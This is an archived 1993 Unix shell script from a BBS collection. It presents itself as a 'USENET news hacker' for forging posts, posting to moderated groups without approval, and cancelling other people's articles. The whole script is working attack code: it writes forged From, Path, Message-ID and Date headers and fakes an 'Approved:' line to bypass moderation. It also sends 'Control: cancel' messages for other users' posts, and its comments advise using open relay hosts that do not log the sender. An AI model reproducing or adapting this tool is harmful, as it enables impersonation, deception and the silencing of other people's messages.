home *** CD-ROM | disk | FTP | other *** search
/ Phoenix Rising BBS / phoenixrising.zip / phoenixrising / unix / fakepost.arj / FAKEPOST.SH
Linux/UNIX/POSIX Shell Script  |  1993-06-16  |  3KB  |  135 lines

  1. #!/bin/sh
  2. # This is a very messy beta version of a USENET news hacker
  3. # It can be used to forge, cancel or anonymously post to
  4. # moderated groups.  It can also post normally, so I'm
  5. # not suggesting it's use for immoral purposes :)
  6. #
  7. # Make sure edit, inews, nntp and test are set to the correct
  8. # full pathname for these commands
  9. # Also note that you must have inews or nntp to use this script
  10. # defhost is the default host to nntpxmit the article to
  11. # there are many hosts that will accept xfers from anywhere
  12. # **don't use sol.ctr.columbia.edu it logs the nntp source and
  13. # appends it to the article 
  14. # Tested on SunOS 4.1.3 and Pyramid OSx
  15. # No warranties or responbilities implied.
  16. # Irish_2
  17.  
  18. edit="/usr/ucb/vi"
  19. inews="/usr/lib/news/inews"
  20. nntp="/usr/lib/news/nntpxmit"
  21. test="/bin/test"
  22. defhost="localhost"
  23. tmppart=$HOME/.harticle
  24. echo 'Hacked Newsposter Version 1.0 beta'
  25. echo 
  26. echo -n 'Newsgroups: '
  27. read newsg
  28. echo
  29. echo -n 'From: '
  30. read from
  31. echo
  32. echo -n 'Path: [example: foo!bar!here!there]: '
  33. read path
  34. echo
  35. echo -n 'Subject: '
  36. read subject
  37. echo
  38. echo -n 'Enter Message-ID: [example: <12345@foo.bar>]: '
  39. read messid
  40. echo
  41. echo  'Enter Date '
  42. echo  'Format is important, [example: 4 May 93 03:07:43 GMT] '
  43. echo -n '<return for current> : '
  44. read date
  45.  case $date in
  46.    '') date=`date -u +'%d %h %y %T GMT`;;
  47.     *) ;;
  48.  esac
  49. echo
  50. echo -n 'Organization: '
  51. read org
  52. echo
  53. echo -n 'Posting to Moderated Group [y,n] ? '
  54. read ans
  55.   case $ans in
  56.      y|Y) echo  'Address or comment for "Approved" line: '
  57.           read approv;
  58.           echo $approv;;
  59.        *) approv="";;
  60.    esac
  61. echo
  62. echo -n 'Cancelling an Article [y,n] ? '
  63. read ans
  64.   case $ans in
  65.     y|Y) echo 'Enter Article ID to cancel ';
  66.          echo 'From: line must match From: line in cancelled article';
  67.          echo -n 'Example <12345@foo.bar>: ';
  68.          read cancid;
  69.          echo $cancid;;
  70.       *) ;;
  71.   esac
  72.  
  73. case $approv in
  74.  
  75.   "") echo "Path: $path 
  76. From: $from
  77. Newsgroups: $newsg
  78. Subject: $subject
  79. Message-ID: $messid
  80. Date: $date
  81. Organization: $org" > $tmppart;;
  82.  
  83.   *) echo "Path: $path
  84. From: $from
  85. Newsgroups: $newsg
  86. Subject: $subject
  87. Message-ID: $messid
  88. Date: $date
  89. Organization: $org
  90. Approved: $approv " > $tmppart;;
  91.  
  92. esac
  93.  
  94. case $cancid in
  95.  
  96.   "");;
  97.    
  98.    *) echo "Control: cancel $cancid" >> $tmppart;
  99.       grep 'Approved:' $tmppart >> /dev/null \
  100.       || echo "Approved: $from" >> $tmppart;; 
  101. esac 
  102. echo >> $tmppart
  103. state="edit" 
  104.  
  105. while $test "$state" = "edit"; do
  106. echo
  107. echo -n "Edit, Send, Abort [E,S,A]:"
  108. read ans
  109. case $ans in
  110.    e*|E*) state="edit";
  111.           $edit $tmppart;;
  112.    s*|S*) state="send";;
  113.    a*|A*) exit 0;;
  114. esac
  115. done
  116.  
  117. while $test "$state" != "sent"; do
  118. echo
  119. echo -n 'Send via nntp or inews [n,i] ? '
  120. read send
  121. case $send in
  122.    n*|N*) state=sent;
  123.           echo -n "Host to nntpxmit to: [$defhost] ";
  124.           read nntphost;
  125.           $test "$nntphost" = "" && nntphost=$defhost;
  126.           echo;
  127.           $nntp -d -a $nntphost:$tmppart;;
  128.    i*|I*) state=sent;
  129.           chmod 644 $tmppart;
  130.           $inews -p $tmppart;;
  131.        *) ;;
  132. esac
  133. done
  134. echo
  135.